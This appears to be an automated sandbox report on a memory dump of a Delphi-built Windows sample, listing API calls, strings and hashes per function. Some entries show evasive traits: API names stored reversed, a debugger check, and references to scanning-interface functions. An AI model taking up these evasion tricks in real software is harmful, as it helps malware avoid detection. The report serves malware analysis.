CoSuspendClassObjects, xrefs: 02866EB9
CoInitializeEx, xrefs: 02866E79
ole32.dll, xrefs: 02866E59
CoAddRefServerProcess, xrefs: 02866E89

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 4f4600a69f0f431d600918d2e5f600fec5ad617dc408852b3feaa64d147751c4
Instruction ID: 8876f638092018c41ca13f164922829d42a7c0f30761bcf5f97a2739b08ef3e8
Opcode Fuzzy Hash: 4f4600a69f0f431d600918d2e5f600fec5ad617dc408852b3feaa64d147751c4
Instruction Fuzzy Hash: E2F0A2ACA843B16EB3007FB49CC98376BDDAD107493501865A812D5A43FB7DC4244F51

Function 02852530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 028528CE

Strings

bytes: , xrefs: 0285275D
String, xrefs: 028527A1
The unexpected small block leaks are:, xrefs: 02852707
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02852849
An unexpected memory leak has occurred. , xrefs: 02852690
, xrefs: 02852814
Unexpected Memory Leak, xrefs: 028528C0
Unknown, xrefs: 0285278C
7, xrefs: 028526A1

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 6e6c51429d0e3b23eda0efba0857255854cb0f1304609c5b4460d301a8caf706
Instruction ID: de5bec58c3a2cf9ef89e7527131f44bf815915afae15d82c43b1fb19537cc365
Opcode Fuzzy Hash: 6e6c51429d0e3b23eda0efba0857255854cb0f1304609c5b4460d301a8caf706
Instruction Fuzzy Hash: 2FA1F63CA042788BDF219A2CCC80B99BAE5EB09354F1441E5DD4DEB38ACF759989CF51

Function 0285252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

bytes: , xrefs: 0285275D
The unexpected small block leaks are:, xrefs: 02852707
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02852849
An unexpected memory leak has occurred. , xrefs: 02852690
, xrefs: 02852814
Unexpected Memory Leak, xrefs: 028528C0
7, xrefs: 028526A1

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 477a71b5fa468f5471eca522454386a49107ee475396147d31c71e94576c9ece
Instruction ID: beece80ca64c579fcc377ee924e85b740bf39fb3ffcedbd4d1fa498038c11a76
Opcode Fuzzy Hash: 477a71b5fa468f5471eca522454386a49107ee475396147d31c71e94576c9ece
Instruction Fuzzy Hash: AE71B23CA042B88BDB219A2CCC84B99BAE5EB09354F1041E5DD4DEB28ADF754985CF52

Function 0285BD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0285C00B,?,?,00000000,00000000), ref: 0285BD76

Part of subcall function 0285A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0285A762

Strings

:mm:ss, xrefs: 0285BFC6
:mm, xrefs: 0285BFA9
m/d/yy, xrefs: 0285BE45
mmmm d, yyyy, xrefs: 0285BE72
AMPM , xrefs: 0285BF99
AMPM, xrefs: 0285BF8A

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 61928cfbe4dc3d7b8f6363963fdb72a4d2d94cd028c5f7e2e5fc2e4d1d1b023d
Instruction ID: 67eca37a45ab25e39a3d1367f0b2a4c18d78ef2ab12736c320769a69262ed3e4
Opcode Fuzzy Hash: 61928cfbe4dc3d7b8f6363963fdb72a4d2d94cd028c5f7e2e5fc2e4d1d1b023d
Instruction Fuzzy Hash: 2A61733C7002689BDB05EBA8D890ADF77B7EF48300F109439AA05DB745DA79D9099F52

Function 0286AE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0286AE38
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 0286AE4F
IsBadReadPtr.KERNEL32(?,00000004), ref: 0286AEE3
IsBadReadPtr.KERNEL32(?,00000002), ref: 0286AEEF
IsBadReadPtr.KERNEL32(?,00000014), ref: 0286AF03

Strings

KernelBase, xrefs: 0286AE4A
LoadLibraryExA, xrefs: 0286AE45

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: fdaa101a929ff03e0f3ec48a16e8aba3a1e44073ef8e582b862a7f80310d1a16
Instruction ID: 833c743ddaef98da322f72d8458241794b777d87911041a281a4754814001fd9
Opcode Fuzzy Hash: fdaa101a929ff03e0f3ec48a16e8aba3a1e44073ef8e582b862a7f80310d1a16
Instruction Fuzzy Hash: 1E3142BD640215BBDB24DFA8CC89F7A77A8AF04768F044510EA58EB281D774A940CBA1

Function 0285432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028543F3,?,?,028B17C8,?,?,0287E7A8,0285655D,0287D30D), ref: 02854365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028543F3,?,?,028B17C8,?,?,0287E7A8,0285655D,0287D30D), ref: 0285436B
GetStdHandle.KERNEL32(000000F5,028543B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028543F3,?,?,028B17C8), ref: 02854380
WriteFile.KERNEL32(00000000,000000F5,028543B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028543F3,?,?), ref: 02854386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 028543A4

Strings

Error, xrefs: 02854398
Runtime error at 00000000, xrefs: 0285435E, 0285439D

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: cb4a6de110043c6d37003870bbcbb8cac5815b97353e4ce8eb5e614c89d27be3
Instruction ID: ec6ab1a1bf9e0043411ac48c598929db516c4b40e7cf105730c4a8d5414a2a49
Opcode Fuzzy Hash: cb4a6de110043c6d37003870bbcbb8cac5815b97353e4ce8eb5e614c89d27be3
Instruction Fuzzy Hash: 30F0246CAC032478FB10EA74AC0AFD9231C1740F11F180A84BB38E44D0DBF490C88B67

Function 0285AE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0285ACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0285ACD9
Part of subcall function 0285ACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0285ACFD
Part of subcall function 0285ACBC: GetModuleFileNameA.KERNEL32(02850000,?,00000105), ref: 0285AD18
Part of subcall function 0285ACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0285ADAE

CharToOemA.USER32(?,?), ref: 0285AE7B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0285AE98
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0285AE9E
GetStdHandle.KERNEL32(000000F4,0285AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0285AEB3
WriteFile.KERNEL32(00000000,000000F4,0285AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0285AEB9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0285AEDB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0285AEF1

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: db3d5c2803853a0ea39081264f27c8636d0adf95b7908fe1a6ede6fb1c9fb0d7
Instruction ID: b03d52a2dd5b19bee909c0cb72afeea2bc8c849d0b8471f9c1c1a8f1ba84379b
Opcode Fuzzy Hash: db3d5c2803853a0ea39081264f27c8636d0adf95b7908fe1a6ede6fb1c9fb0d7
Instruction Fuzzy Hash: 1C115EBE5482247AE700EB98CC80F9B77EDAB44300F804A29BB54D60D0EF74E9448F67

Function 0285E50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0285E5A5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0285E5C1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0285E5FA
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0285E677
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0285E690
VariantCopy.OLEAUT32(?,00000000), ref: 0285E6C5

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction ID: f1f5697cb8a6f928269971d4bac65ab27f33e59c7e0a98a3396c3bf6df503ed4
Opcode Fuzzy Hash: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction Fuzzy Hash: 9D51C47D9006299BDB22DB68CC80BD9B3EDAB49304F4441D5EE09E7212DA30AF858F65

Function 02853568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0285358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,028535D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028535BD
RegCloseKey.ADVAPI32(?,028535E0,00000000,?,00000004,00000000,028535D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028535D3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02853580
FPUMaskValue, xrefs: 028535B4

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 472cfff9983561b6db0bf99d96e26898fd0360a1769b8bb1460d82af003a4a63
Instruction ID: 1029235ecc1bdbc080848b30c5c1a58d3521b943d3a0c619934389ebefb35895
Opcode Fuzzy Hash: 472cfff9983561b6db0bf99d96e26898fd0360a1769b8bb1460d82af003a4a63
Instruction Fuzzy Hash: 8E01D87D940328BAFB11DB90CD06BBD77ECE708750F1005E5BE04D6680F674A610DB59

Function 028680C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02868148,?,?,00000000,00000000,?,02868061,00000000,KernelBASE,00000000,00000000,02868088), ref: 0286810D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02868113
GetProcAddress.KERNEL32(?,?), ref: 02868125

Strings

sserddAcorPteG, xrefs: 028680DB
Kernel32, xrefs: 02868108

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 6f82197bf5a0713e12a7f1fc6f8120dbd02c0246e0a964db16b1893f479cc97c
Instruction ID: 493f68d972594e846715537ae73431b2c4a2be42bbbac7644a04b1485cc25d5d
Opcode Fuzzy Hash: 6f82197bf5a0713e12a7f1fc6f8120dbd02c0246e0a964db16b1893f479cc97c
Instruction Fuzzy Hash: 7401A23CA40318AFE702EFA8D845EAEB7EEEB4C700F914864F904D7750D674A9048A61

Function 0285A9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0285AA67,?,?,00000000), ref: 0285A9E8

Part of subcall function 0285A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0285A762

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0285AA67,?,?,00000000), ref: 0285AA18
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 0285AA23
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0285AA67,?,?,00000000), ref: 0285AA41
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 0285AA4C

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 620111e80cfab9a5382dd3223842c565e7c358e13fbb08f30b547f5963e25615
Instruction ID: 9d11845f6903cf2085f107fd5e2a9060d9a8193e6eb56b4a08ae75679ba80f21
Opcode Fuzzy Hash: 620111e80cfab9a5382dd3223842c565e7c358e13fbb08f30b547f5963e25615
Instruction Fuzzy Hash: CC01F73C6402746BF706AA688D52B6E739DDB46710FD10220FE11E6780F5689E104A66

Function 0285AA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0285AC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0285AAAF

Part of subcall function 0285A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0285A762

Strings

ggg, xrefs: 0285AB95
yyyy, xrefs: 0285ABA5
eeee, xrefs: 0285ABBE

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 0e4bb6502c87fc4e6a6e5dcd18479249f7e6b8e985b661700816878456359e38
Instruction ID: 162db9a62e8a61bbe3d1bd4d4af745232fcd9ba3ce6a37c00deb91cd97933117
Opcode Fuzzy Hash: 0e4bb6502c87fc4e6a6e5dcd18479249f7e6b8e985b661700816878456359e38
Instruction Fuzzy Hash: 0441F33C3041394BE709EF6C88C02BEB3EBDF85204B544726AD56C7344EA78DD498A63

Function 02868018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02868088,?,?,00000000,?,028679FE,ntdll,00000000,00000000,02867A43,?,?,00000000), ref: 02868056

Part of subcall function 028680C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02868148,?,?,00000000,00000000,?,02868061,00000000,KernelBASE,00000000,00000000,02868088), ref: 0286810D
Part of subcall function 028680C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02868113
Part of subcall function 028680C0: GetProcAddress.KERNEL32(?,?), ref: 02868125

GetModuleHandleA.KERNELBASE(?), ref: 0286806A

Strings

KernelBASE, xrefs: 02868051
AeldnaHeludoMteG, xrefs: 02868031

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: a1b4e71efb64cbb4a8a49dc80e8f99f2ca434eb2e76093a4a690abe4db259aa4
Instruction ID: 00e64ad12c58dd2fab8cf7623d5c59ecdb91e0850a679e76d7aae16a9d1b7134
Opcode Fuzzy Hash: a1b4e71efb64cbb4a8a49dc80e8f99f2ca434eb2e76093a4a690abe4db259aa4
Instruction Fuzzy Hash: 4BF0F67C644304AFEB02EFA8DC05E6E77EEFB097007910D20F804C3620D674AD048A63

Function 0286EFC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,0286F3CC,UacInitialize,028B237C,0287B40C,UacScan,028B237C,0287B40C,ScanBuffer,028B237C,0287B40C,OpenSession,028B237C,0287B40C,ScanString), ref: 0286EFCE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0286EFE0

Strings

KernelBase, xrefs: 0286EFC9
IsDebuggerPresent, xrefs: 0286EFDA

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: a636b940d1fc89ea2a393a28249f8be79a1b9d8a3736c9738fa90fd0fdeb259f
Instruction ID: d1c08b425d24a9961082a8fc53203bf70380251f06dfa506e34b373cf462308b
Opcode Fuzzy Hash: a636b940d1fc89ea2a393a28249f8be79a1b9d8a3736c9738fa90fd0fdeb259f
Instruction Fuzzy Hash: ABD012AE3553701EB50076F81CC8C2D12CC8A5552A7601E60B127D65D3F66BC8651111

Function 0285C3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0287D10B,00000000,0287D11E), ref: 0285C3FA
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0285C40B

Strings

kernel32.dll, xrefs: 0285C3F5
GetDiskFreeSpaceExA, xrefs: 0285C405

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938494057.00000000028B2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938530107.00000000029A9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_LbZ88q4uPa.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 84563a073b6b0823ca4c62feb1a7205644fcece07ad310d59bd55c03ab225dd2
Instruction ID: 6fb6537e1e276a6ebfb2b8463780b066b0311712068bb68dafe1515cd79c10c4
Opcode Fuzzy Hash: 84563a073b6b0823ca4c62feb1a7205644fcece07ad310d59bd55c03ab225dd2
Instruction Fuzzy Hash: 43D0A76CE403704EFB00AFB568C9E3626CC9704347F40D866EC05D5242E7B5C49C4F50

Function 0285E168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0285E217
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0285E233
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0285E2AA
VariantClear.OLEAUT32(?), ref: 0285E2D3

Memory Dump Source

Source File: 00000000.00000002.2938385272.0000000002851000.00000020.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: true

Associated: 00000000.00000002.2938369164.0000000002850000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2938436604.000000000287E000.00000004.00001000.00020000.00000000.sdmpDownload File
